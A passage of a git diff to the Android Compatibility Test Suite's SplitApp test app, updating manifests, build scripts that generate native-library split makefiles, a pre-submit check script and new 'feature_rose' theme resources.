+        <activity android:name=".feature.warm.EmptyActivity" android:splitName="feature_warm"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.SPLIT_NAME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
         </activity>
         <receiver android:name=".MyReceiver"
-                android:enabled="@bool/my_receiver_enabled">
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
+                <action android:name="android.intent.action.DATE_CHANGED"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".LockedBootReceiver" android:exported="true" android:directBootAware="true">
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
             <intent-filter>
-                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".BootReceiver" android:exported="true">
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
 
         <provider android:name=".RemoteQueryProvider"
-                  android:authorities="com.android.cts.splitapp"
-                  android:exported="true"
-                  android:directBootAware="true">
+             android:authorities="com.android.cts.splitapp"
+             android:exported="true"
+             android:directBootAware="true">
         </provider>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.splitapp" />
+         android:targetPackage="com.android.cts.splitapp"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk b/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk
deleted file mode 100644
index b61c5d6..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_ARCHARCH
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/README b/hostsidetests/appsecurity/test-apps/SplitApp/README
index 480289e..bf7190e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/README
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/README
@@ -1,7 +1,6 @@
 
 The entire libs/ directory is built and constructed automatically with
 the build_libs.sh script.  Don't attempt to modify manually.  To rebuild
-the native code, make the following change to the NDK to pass through
-the target architecture, and then run build_libs.sh:
+the native code, make NDK_BUILD variable to point the correct path in
+the host environment, and then run build_libs.sh:
 
-build/core/build-binary.mk:LOCAL_CFLAGS := -DANDROID -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\" $(LOCAL_CFLAGS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING
new file mode 100644
index 0000000..bc9dc3c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
index 6090374..2acd4cb 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
@@ -15,7 +15,127 @@
 # limitations under the License.
 #
 
-NDK_BUILD="$HOME/android-ndk-r10b/ndk-build"
+# Please change NDK_BUILD to point to the appropriate ndk-build in NDK. It's recommended to
+# use the NDK with maximum backward compatibility, such as the NDK bundle in Android SDK.
+NDK_BUILD="$HOME/Android/android-ndk-r16b/ndk-build"
+
+function generateCopyRightComment() {
+  local year="$1"
+  local isAndroidManifest="$2"
+  local lineComment='#'
+  local copyrightStart=""
+  local copyrightEnd=""
+  local commentStart=""
+  local commentEnd=""
+  if [[ -n "$isAndroidManifest" ]]; then
+    lineComment=""
+    copyrightStart=$'<!--\n'
+    copyrightEnd=$'\n-->'
+    commentStart='<!--'
+    commentEnd='-->'
+  fi
+
+  copyrightInMk=$(
+    cat <<COPYRIGHT_COMMENT
+${copyrightStart}${lineComment} Copyright (C) ${year} The Android Open Source Project
+${lineComment}
+${lineComment} Licensed under the Apache License, Version 2.0 (the "License");
+${lineComment} you may not use this file except in compliance with the License.
+${lineComment} You may obtain a copy of the License at
+${lineComment}
+${lineComment}      http://www.apache.org/licenses/LICENSE-2.0
+${lineComment}
+${lineComment} Unless required by applicable law or agreed to in writing, software
+${lineComment} distributed under the License is distributed on an "AS IS" BASIS,
+${lineComment} WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+${lineComment} See the License for the specific language governing permissions and
+${lineComment} limitations under the License.${copyrightEnd}
+
+${commentStart}${lineComment} Automatically generated file from build_libs.sh.${commentEnd}
+${commentStart}${lineComment} DO NOT MODIFY THIS FILE.${commentEnd}
+
+COPYRIGHT_COMMENT
+  )
+  echo "${copyrightInMk}"
+}
+
+function generateLibsAndroidMk {
+  local targetFile=$1
+  local copyrightInMk=$(generateCopyRightComment "2015")
+  (
+    cat <<LIBS_ANDROID_MK
+${copyrightInMk}
+include \$(call all-subdir-makefiles)
+LIBS_ANDROID_MK
+  ) >"${targetFile}"
+
+}
+
+function generateAndroidManifest {
+  local targetFile="$1"
+  local arch="$2"
+  local splitNamePart="$3"
+  (
+    cat <<ANDROIDMANIFEST
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib${splitNamePart}_${arch}">
+    <application android:hasCode="false" />
+</manifest>
+ANDROIDMANIFEST
+  ) >"${targetFile}"
+
+}
+
+function generateModuleForContentPartialMk {
+  local arch="$1"
+  local packagePartialName="$2"
+  local rawDir="$3"
+  local aaptRevisionFlags="$4"
+
+  localPackage=$(
+    cat <<MODULE_CONTENT_FOR_PARTIAL_MK
+
+include \$(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp${packagePartialName}_${arch}
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := ${rawDir}
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version${aaptRevisionFlags}
+
+include \$(BUILD_CTS_SUPPORT_PACKAGE)
+MODULE_CONTENT_FOR_PARTIAL_MK
+  )
+  echo "${localPackage}"
+}
+
+function generateAndroidMk() {
+  local targetFile="$1"
+  local arch="$2"
+  local copyrightInMk=$(generateCopyRightComment "2014")
+  local baseSplitMkModule=$(generateModuleForContentPartialMk "${arch}" "" "raw" "")
+  local revisionSplitMkModule=$(generateModuleForContentPartialMk "${arch}" "_revision12" \
+      "raw_revision" " --revision-code 12")
+
+  (
+    cat <<LIBS_ARCH_ANDROID_MK
+#
+${copyrightInMk}
+LOCAL_PATH := \$(call my-dir)
+${baseSplitMkModule}
+${revisionSplitMkModule}
+LIBS_ARCH_ANDROID_MK
+  ) >"${targetFile}"
+}
 
 # Go build everything
 rm -rf libs
@@ -24,26 +144,24 @@
 $NDK_BUILD
 cd ../
 
-for arch in `ls libs/`;
-do
-    (
+for arch in $(ls libs/); do
+  (
     mkdir -p tmp/$arch/raw/lib/$arch/
     mv libs/$arch/* tmp/$arch/raw/lib/$arch/
 
-    echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>
-<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"
-        package=\"com.android.cts.splitapp\"
-        split=\"lib_${arch//[^a-zA-Z0-9_]/_}\">
-    <application android:hasCode=\"false\" />
-</manifest>" > tmp/$arch/AndroidManifest.xml
+    # The library file name in the new revision apk should have the same file name with base apk.
+    mkdir -p tmp/$arch/raw_revision/lib/$arch/
+    mv tmp/$arch/raw/lib/$arch/libsplitappjni_revision.so \
+      tmp/$arch/raw_revision/lib/$arch/libsplitappjni.so
 
-    cp NativeTemplate.mk tmp/$arch/Android.mk
-    sed -i -r "s/ARCHARCH/$arch/" tmp/$arch/Android.mk
+    archWithoutDash="${arch//[^a-zA-Z0-9_]/_}"
+    generateAndroidManifest "tmp/$arch/AndroidManifest.xml" "${archWithoutDash}" ""
 
-    )
+    generateAndroidMk "tmp/$arch/Android.mk" "$arch"
+  )
 done
 
-echo "include \$(call all-subdir-makefiles)" > tmp/Android.mk
+generateLibsAndroidMk "tmp/Android.mk"
 
 rm -rf libs
 rm -rf obj
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
new file mode 100755
index 0000000..3419f2e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
@@ -0,0 +1,62 @@
+#!/bin/bash
+LOCAL_DIR="$( dirname "${BASH_SOURCE}" )"
+
+APP_DIR_IN_CTS="^hostsidetests\\/appsecurity\\/test-apps\\/SplitApp"
+BUILD_LIBS_SCRIPT="${APP_DIR_IN_CTS}\\/build_libs\\.sh\$"
+APP_LIBS_ANDROID_MK="${APP_DIR_IN_CTS}\\/libs/Android\\.mk\$"
+NATIVE_MK_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/Android\\.mk\$"
+MANIFEST_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/AndroidManifest\\.xml\$"
+JNI_PATTERN="${APP_DIR_IN_CTS}\\/jni\\/.*\$"
+LIB_SO_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/libsplitappjni.*\\.so\$"
+
+MODIFY_JNI=0
+MODIFY_ANDROID_MK=0
+MODIFY_BUILD_LIBS_SCRIPT=0
+LIB_SO_LIST=""
+MK_LIST=""
+MANIFEST_LIST=""
+for f in $*
+do
+    echo "${f}" | grep -q "${BUILD_LIBS_SCRIPT}" && MODIFY_BUILD_LIBS_SCRIPT=1
+    echo "${f}" | grep -q "${APP_LIBS_ANDROID_MK}" && MODIFY_ANDROID_MK=1
+
+    echo "${f}" | grep -q "${NATIVE_MK_PATTERN}" && MK_LIST="${MK_LIST}\n ${f}"
+
+    echo "${f}" | grep -q "${MANIFEST_PATTERN}" && MANIFEST_LIST="${MANIFEST_LIST}\n ${f}"
+
+    echo "${f}" | grep -q "${JNI_PATTERN}" && MODIFY_JNI=1
+    echo "${f}" | grep -q "${LIB_SO_PATTERN}" && LIB_SO_LIST="${LIB_SO_LIST}\n ${f}"
+done
+
+NUMBER_OF_ERRORS=0
+if [[ ${MODIFY_ANDROID_MK} -ne 0 && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of\n" \
+        "\033[0;31;47m${APP_LIBS_ANDROID_MK//\\/}\033[0m?"
+fi
+if [[ -n "${MK_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of" \
+        "\033[0;31;47m${MK_LIST}\033[0m?"
+fi
+if [[ -n "${MANIFEST_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of" \
+        "\033[0;31;47m${MANIFEST_LIST}\033[0m?"
+fi
+if [[ -n "${LIB_SO_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 && ${MODIFY_JNI} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${JNI_PATTERN//\\/} files instead of" \
+        "\033[0;31;47m${LIB_SO_LIST}\033[0m?"
+fi
+if [[ ${NUMBER_OF_ERRORS} -gt 0 ]]
+then
+    echo "Please make sure to modify the file by running build_libs.sh.${NUMBER_OF_ERRORS}"
+fi
+
+exit ${NUMBER_OF_ERRORS}
+
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
deleted file mode 100644
index 22d0a1a..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ /dev/null
@@ -1,74 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_PACKAGE_NAME := CtsSplitAppFeature
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := v7
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_USE_AAPT2 := true
-LOCAL_APK_LIBRARIES := CtsSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant requiring a split for install
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MANIFEST_FILE := needsplit/AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsNeedSplitFeature
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_APK_LIBRARIES := CtsSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
-
-LOCAL_USE_AAPT2 := true
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
deleted file mode 100644
index be3adfc..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ /dev/null
@@ -1,48 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.splitapp"
-        split="feature">
-
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="27" />
-
-    <!-- New permission should be ignored -->
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <!-- New application flag should be ignored -->
-    <application android:largeHeap="true">
-        <activity android:name=".FeatureActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
-        </activity>
-        <receiver android:name=".FeatureReceiver"
-                android:enabled="@bool/feature_receiver_enabled">
-            <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
-            </intent-filter>
-        </receiver>
-        <service android:name=".FeatureService">
-            <intent-filter>
-                <action android:name="com.android.cts.splitapp.service" />
-            </intent-filter>
-        </service>
-        <provider android:name=".FeatureProvider" android:authorities="com.android.cts.splitapp.provider" />
-    </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
deleted file mode 100644
index 7ce1830..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
+++ /dev/null
@@ -1,49 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.splitapp"
-        split="feature"
-        android:isSplitRequired="true">
-
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="27" />
-
-    <!-- New permission should be ignored -->
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <!-- New application flag should be ignored -->
-    <application android:largeHeap="true">
-        <activity android:name=".FeatureActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
-        </activity>
-        <receiver android:name=".FeatureReceiver"
-                android:enabled="@bool/feature_receiver_enabled">
-            <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
-            </intent-filter>
-        </receiver>
-        <service android:name=".FeatureService">
-            <intent-filter>
-                <action android:name="com.android.cts.splitapp.service" />
-            </intent-filter>
-        </service>
-        <provider android:name=".FeatureProvider" android:authorities="com.android.cts.splitapp.provider" />
-    </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
new file mode 100644
index 0000000..c2b20fa
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
@@ -0,0 +1,42 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitAppFeatureRose",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    // Generate an api split.
+    package_splits: ["v23"],
+    certificate: ":cts-testkey1",
+    libs: ["CtsSplitApp"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+        "--package-id 0x81",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
new file mode 100644
index 0000000..8666555
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_rose">
+
+    <application>
+        <activity android:name=".RoseThemeActivity" android:theme="@style/Theme_Rose"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/lint-baseline.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/lint-baseline.xml
new file mode 100644
index 0000000..06f2943
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/lint-baseline.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<issues format="5" by="lint 4.1.0" client="cli" variant="all" version="4.1.0">
+
+    <issue
+        id="NewApi"
+        message="`android:statusBarColor` requires API level 21 (current min is 4)"
+        errorLine1="        &lt;item name=&quot;android:statusBarColor&quot;>@color/rose_status_bar_color&lt;/item>"
+        errorLine2="              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~">
+        <location
+            file="cts/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml"
+            line="21"
+            column="15"/>
+    </issue>
+
+</issues>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
new file mode 100644
index 0000000..2a4ddf3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
new file mode 100644
index 0000000..1b22fba
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light rose colors for Theme_Rose -->
+    <color name="rose_custom_color">@color/pink_light</color>
+    <color name="rose_navigation_bar_color">@color/rose_light</color>
+    <color name="rose_status_bar_color">@color/ruby_light</color>
+
+    <color name="pink_light">#ffffb6c1</color>
+    <color name="rose_light">#ffff66cc</color>
+    <color name="ruby_light">#ffff0da6</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
new file mode 100644
index 0000000..9a0ffe0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Rose" parent="@style/Theme_Base">
+        <item name="customColor">@color/rose_custom_color</item>
+        <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+        <item name="android:navigationBarColor">@color/rose_navigation_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
new file mode 100644
index 0000000..aafd845
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <!-- rose colors for Theme_Rose -->
+    <color name="rose_custom_color">@color/pink</color>
+    <color name="rose_navigation_bar_color">@color/rose</color>
+    <color name="rose_status_bar_color">@color/ruby</color>
+
+    <color name="pink">#ffffc0cb</color>
+    <color name="rose">#ffff0da6</color>
+    <color name="ruby">#ffcc0080</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
new file mode 100644
index 0000000..607a392
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Rose" parent="@style/Theme_Base">
+        <item name="customColor">@color/rose_custom_color</item>
+        <item name="android:windowBackground">@drawable/rose_color_drawable</item>
